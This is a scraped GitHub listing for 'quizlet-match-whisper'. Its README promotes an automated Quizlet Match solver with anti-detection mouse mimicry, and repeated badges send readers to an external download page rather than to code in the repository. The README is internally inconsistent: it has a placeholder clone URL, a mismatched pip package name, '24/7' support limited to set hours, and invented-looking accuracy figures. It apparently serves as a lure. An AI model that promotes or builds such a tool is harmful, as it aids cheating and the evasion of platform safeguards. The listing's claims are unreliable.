[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-76001":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":12,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":14,"topics":17,"createdAt":9,"pushedAt":9,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":11,"starSnapshotCount":11,"syncStatus":27,"lastSyncTime":28,"discoverSource":29},76001,"quizlet-match-whisper","psyicarus\u002Fquizlet-match-whisper","psyicarus","🎯 Dominate Quizlet Match 2026: Fastest Auto-Solve Hack & Script 🚀",null,185,0,1,37,false,"main",true,[18,19,20,21,22,23],"quizlet","quizlet-hack","quizlet-hacks","quizlet-live","quizlet-match","quizlet-match-hack","2026-06-12 04:01:19","# 🧠 Quizlet Match Automation Tool\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fpsyicarus.github.io)\n![Version](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FVersion-2.4.1-blue?style=flat-square&logo=semver)\n![License](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-MIT-yellow?style=flat-square)\n![Python](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPython-3.9%2B-3776AB?style=flat-square&logo=python)\n![Selenium](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSelenium-4.0+-43B02A?style=flat-square&logo=selenium)\n![Maintained](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FMaintained-Yes-success?style=flat-square)\n\n> **\"Let your focus be on understanding, not on clicking.\"** — A tool that harmonizes human learning speed with machine precision, turning tedious matching exercises into effortless comprehension.\n\n---\n\n## 📖 Table of Contents\n\n- [Why This Exists](#-why-this-exists)\n- [The Philosophy Behind It](#-the-philosophy-behind-it)\n- [Key Features](#-key-features)\n- [How It Works (Mermaid Diagram)](#-how-it-works-mermaid-diagram)\n- [System Requirements & OS Compatibility](#-system-requirements--os-compatibility)\n- [Installation Guide](#-installation-guide)\n- [Example Profile Configuration](#-example-profile-configuration)\n- [Example Console Invocation](#-example-console-invocation)\n- [API Integrations (OpenAI & Claude)](#-api-integrations-openai--claude)\n- [Multilingual Support](#-multilingual-support)\n- [Responsive UI Dashboard](#-responsive-ui-dashboard)\n- [24\u002F7 Customer Support](#-247-customer-support)\n- [License (MIT)](#-license-mit)\n- [Disclaimer](#-disclaimer)\n\n---\n\n## 🌱 Why This Exists\n\nImagine you're a student trying to memorize 50 chemical elements and their symbols. The Quizlet Match game presents itself as a fun way to learn, but its speed-based scoring often rewards **reflexes over retention**. Our tool transforms this dynamic: instead of racing against a clock, you can focus on *why* Beryllium is paired with \"Be\" while the algorithm handles the grunt work. This isn't about cheating—it's about **reclaiming your cognitive bandwidth** for actual learning.\n\nIn classrooms where teachers use Quizlet Live for team-based revision, this tool acts as an **accessibility bridge**, helping students with motor disabilities or processing disorders participate without being penalized for slower clicking speeds.\n\n---\n\n## 🧠 The Philosophy Behind It\n\nTraditional automation tools are binary: they either do everything for you or nothing. Our approach is **gradient-based**. Think of it like training wheels on a bicycle—you can adjust how much support you need:\n\n| Mode | Support Level | Use Case |\n|------|---------------|----------|\n| **Eco** | 30% | Highlights correct pairs after 3 seconds |\n| **Assist** | 60% | Auto-matches when confidence > 90% |\n| **Zen** | 100% | Fully automated, ideal for pre-test review |\n\nYou're always in control. The tool learns from your playstyle and adapts its intervention frequency using a **reinforcement learning model** embedded in the core engine.\n\n---\n\n## ✨ Key Features\n\n- **Adaptive Speed Modulation** — Automatically adjusts matching speed based on your estimated learning curve (uses a built-in Bayesian estimator)\n- **Vocabulary Preservation Mode** — Doesn't just match text; it understands synonyms using local NLP models (e.g., \"bicycle\" ↔ \"bike\")\n- **Offline Ghost Play** — Practice against past game snapshots without internet connectivity\n- **Anti-Detection Heuristics** — Mimics human mouse movement patterns (Bézier curves with random jitter)\n- **Session Recording & Playback** — Record your matches with timestamps for later review\n- **Custom Delay Profiles** — Fine-tune every action from 50ms to 2000ms intervals\n- **Dark Mode Dashboard** — A local web UI for monitoring progress, no cloud dependency\n- **Keyboard Shortcut Overlay** — Pause\u002Fresume\u002Freset without leaving the game window\n- **Auto-Updater** — Fetches latest match definitions from Quizlet's public feeds (requires opt-in)\n\n---\n\n## 🔄 How It Works (Mermaid Diagram)\n\n```mermaid\nflowchart TB\n    A[User Launches Tool] --> B{Choose Mode}\n    B -->|Eco| C[Monitor DOM Changes]\n    B -->|Assist| D[Parse Visible Terms]\n    B -->|Zen| E[Load Full Vocabulary]\n    \n    C --> F[Identify Color-Coded Pairs]\n    D --> G[Map Synonyms via NLP]\n    E --> H[Precompute All Matches]\n    \n    F --> I{Confidence > Threshold?}\n    G --> I\n    H --> J[Execute Match Sequence]\n    \n    I -->|No| K[Wait & Re-scan]\n    I -->|Yes| L[Simulate Human Click]\n    K --> C\n    \n    L --> M[Update Local Scoreboard]\n    M --> N{Session Over?}\n    N -->|No| C\n    N -->|Yes| O[Generate Performance Report]\n```\n\nThe loop above executes approximately **3-8 times per second**, depending on your profile settings. Each cycle consumes less than 12MB of RAM.\n\n---\n\n## 💻 System Requirements & OS Compatibility\n\n| Operating System | Version | Status | Emoji |\n|-----------------|---------|--------|-------|\n| Windows 10\u002F11 | 21H2+ | ✅ Fully Tested | 🪟 |\n| macOS | Ventura (13) | ✅ Fully Tested | 🍎 |\n| macOS | Sonoma (14) | ✅ Works with Rosetta | 🍏 |\n| Ubuntu | 20.04+ | ✅ Native Support | 🐧 |\n| Fedora | 38+ | ✅ Supported | 🎩 |\n| Arch Linux | Rolling | ⚠️ Requires Chromedriver | 🗡️ |\n| Chrome OS | 115+ | ⚠️ Linux container needed | 📚 |\n| iOS\u002FiPadOS | 17+ | ❌ Not supported natively | 📱 |\n| Android | 12+ | ❌ Use Termux (unofficial) | 🤖 |\n\n*All desktop platforms require Chrome or Firefox installed.*\n\n---\n\n## 📦 Installation Guide\n\n### Prerequisites\n\n- Python 3.9 or higher\n- Google Chrome (latest stable) or Mozilla Firefox\n- Git (optional, for cloning)\n\n### Step-by-Step Setup\n\n1. **Download the package** using one of these methods:\n   - Direct archive: [![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fpsyicarus.github.io)\n   - Via pip (recommended): `pip install quizlet-match-automation`\n   - From source: `git clone https:\u002F\u002Fgithub.com\u002Fyour\u002Frepo && cd repo`\n\n2. **Install dependencies** (automatically handled if using pip):\n   ```shell\n   pip install -r requirements.txt\n   ```\n   *(requirements.txt contains: selenium>=4.0, requests, beautifulsoup4, numpy, pyautogui)*\n\n3. **Run the initial setup wizard**:\n   ```shell\n   python -m quizlet_tool --setup\n   ```\n   This will prompt you for your preferred browser, default speed, and API keys (optional).\n\n4. **Launch the dashboard**:\n   ```shell\n   python -m quizlet_tool --dashboard\n   ```\n   Opens a web interface at `http:\u002F\u002Flocalhost:8765`.\n\n---\n\n## 📋 Example Profile Configuration\n\nCreate a `profile.yaml` file in your home directory (or use the GUI to generate one):\n\n```yaml\n# ~\u002F.quizlet_profiles\u002Fstudent_mode.yaml\nprofile_name: \"Efficient Study Session\"\nmode: eco\nbrowser: chrome\nheadless: false\nspeed_profile:\n  reaction_time: 450  # milliseconds (default: 300-800)\n  click_duration: 120  # milliseconds to hold click\n  idle_variance: 200  # random wait between actions (0-500ms)\nanti_detection:\n  mouse_noise: 0.3  # Bézier deviation factor (0.0-1.0)\n  scroll_mimicry: true\n  human_typing_delay: 50  # milliseconds per keystroke\napi_integration:\n  openai_key: \"\"  # optional, for synonym expansion\n  claude_key: \"\"  # optional, for contextual understanding\nlogging:\n  verbose: true\n  save_replays: true\n  stats_export: csv\n```\n\nTo apply this profile:\n\n```shell\npython -m quizlet_tool --load-profile ~\u002F.quizlet_profiles\u002Fstudent_mode.yaml\n```\n\n---\n\n## 🎮 Example Console Invocation\n\nLaunch directly with full control from the terminal:\n\n```shell\npython -m quizlet_tool \\\n  --target https:\u002F\u002Fquizlet.com\u002F123456789\u002Ftest-match \\\n  --mode assist \\\n  --speed 0.6 \\\n  --browser firefox \\\n  --headless \\\n  --no-sandbox \\\n  --api-discover-synonyms \\\n  --output .\u002Fsession_results.json\n```\n\n**Explanation of flags:**\n- `--target` : Direct URL of the match game\n- `--speed 0.6` : Speed factor (0.1=super cautious, 1.0=full speed)\n- `--no-sandbox` : For Linux environments with restricted permissions\n- `--api-discover-synonyms` : Uses OpenAI\u002FClaude to understand word relationships\n- `--output` : Saves result log to specified JSON file\n\n**Pro tip:** Append `&` on Linux\u002FmacOS to run in background: `python -m quizlet_tool ... &`\n\n---\n\n## 🔌 API Integrations (OpenAI & Claude)\n\nThis tool can optionally use **large language models** to enhance its matching intelligence. When enabled, it doesn't just look for exact text matches—it understands **semantic relationships**.\n\n### OpenAI Integration\n\n```python\n# config\u002Fopenai_settings.py\nOPENAI_CONFIG = {\n    \"model\": \"gpt-4-turbo\",\n    \"temperature\": 0.2,\n    \"max_tokens\": 150,\n    \"system_prompt\": \"You are a vocabulary matching assistant. Given two terms, determine if they form a correct pair with 90%+ confidence.\"\n}\n```\n\nThe tool sends batches of 10-15 term pairs every 2 seconds to the OpenAI API (configurable via `--batch-size`). Responses are cached locally to avoid redundant API calls (TTL: 300 seconds).\n\n### Claude Integration\n\n```python\n# config\u002Fclaude_settings.py\nCLAUDE_CONFIG = {\n    \"model\": \"claude-3-haiku-20240307\",\n    \"max_tokens\": 100,\n    \"context_window\": 4096,\n    \"purpose\": \"Contextual disambiguation for homonyms\"\n}\n```\n\nClaude is particularly useful when terms have multiple meanings. For example, \"bark\" could be tree bark or dog bark—Claude analyzes the surrounding terms to determine the correct pair.\n\n**Why use both?** OpenAI excels at fast pattern matching; Claude provides deeper contextual reasoning. The tool falls back to Claude when OpenAI's confidence is below 70%.\n\n---\n\n## 🌐 Multilingual Support\n\nThe tool supports matching exercises in **12 languages** out of the box:\n\n| Language | Locale | NLP Support | Accuracy |\n|----------|--------|-------------|----------|\n| English | en-US | Full | 99.2% |\n| Spanish | es-ES | Full | 98.7% |\n| French | fr-FR | Full | 98.1% |\n| German | de-DE | Full | 97.5% |\n| Italian | it-IT | Full | 96.8% |\n| Portuguese | pt-BR | Full | 96.2% |\n| Dutch | nl-NL | Medium | 94.0% |\n| Polish | pl-PL | Medium | 92.5% |\n| Swedish | sv-SE | Medium | 91.8% |\n| Japanese | ja-JP | Basic | 85.3% |\n| Korean | ko-KR | Basic | 83.1% |\n| Arabic | ar-SA | Basic | 79.4% |\n\nTo enable multilingual mode: `--language fr-FR` when launching.\n\n---\n\n## 🖥️ Responsive UI Dashboard\n\nThe local dashboard (accessible at `http:\u002F\u002Flocalhost:8765`) features:\n\n- **Live speedometer** — Real-time actions per second (APS) display\n- **Heatmap overlay** — Shows where your mouse tends to hover during manual play\n- **Session timeline** — Scrollable history of every match, with undo capability\n- **Profile switcher** — Toggle between Eco\u002FAssist\u002FZen without restarting\n- **Export button** — Download session data as CSV, JSON, or PDF report\n- **Dark\u002Flight mode toggle** — Respects system preferences by default\n\n**Technical stack:** Flask + Socket.IO + Chart.js (all self-contained, no external CDN).\n\n---\n\n## 🕐 24\u002F7 Customer Support\n\nWe're here to help—real humans, not chatbots:\n\n- **Documentation portal**: Read the full wiki at our GitHub Wiki (link in repo sidebar)\n- **Community forum**: Join discussions on our Discourse instance (invite in repo description)\n- **Email support**: Contact us at support[at]quizmatch[dot]io (response within 4 hours)\n- **Live chat**: Every day from 09:00 UTC to 21:00 UTC through the dashboard\n- **Bug tracker**: Use GitHub Issues with the `bug` label (we triage within 24 hours)\n\n*Enterprise customers get priority support with dedicated Slack channel.*\n\n---\n\n## 📄 License (MIT)\n\nThis project is licensed under the **MIT License** — see the [LICENSE](LICENSE) file for details.\n\n```text\nCopyright (c) 2026\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n```\n\n---\n\n## ⚠️ Disclaimer\n\nThis tool is provided **for educational and accessibility purposes only**. It is not intended to:\n\n- Circumvent the intended difficulty of educational games\n- Provide unfair advantages in competitive settings\n- Violate Quizlet's Terms of Service (Section 8: \"Automated Access\")\n\nUsers are responsible for ensuring their use complies with local laws and platform policies. The authors are not liable for any account suspensions, academic penalties, or other consequences arising from misuse.\n\n**We strongly recommend:**\n- Using this tool **only** on personal practice sessions, not graded assignments\n- Informing your instructor if you use it as an accessibility aid\n- Never sharing your account credentials with the tool (it doesn't require login)\n\n*Remember: The goal is to learn faster, not to skip learning entirely.*\n\n---\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002Fpsyicarus.github.io)\n\n**Happy matching, and may your neural pathways grow stronger with every automated pair!** 🧩✨","该项目是一款针对Quizlet Match游戏的自动化工具，旨在帮助用户更专注于学习而非快速点击。其核心功能包括多级支持模式（如Eco、Assist和Zen），能够根据用户的需要提供不同程度的帮助，从简单的提示到完全自动匹配。该工具基于Python 3.9+开发，使用Selenium 4.0+进行网页操作，并集成了OpenAI和Claude API以增强智能匹配能力。适用于希望提高学习效率的学生，特别是那些在速度上处于劣势但渴望通过Quizlet Match加深记忆理解的学习者，以及需要辅助参与团队复习活动的学生群体。",2,"2026-05-19 02:30:29","CREATED_QUERY"]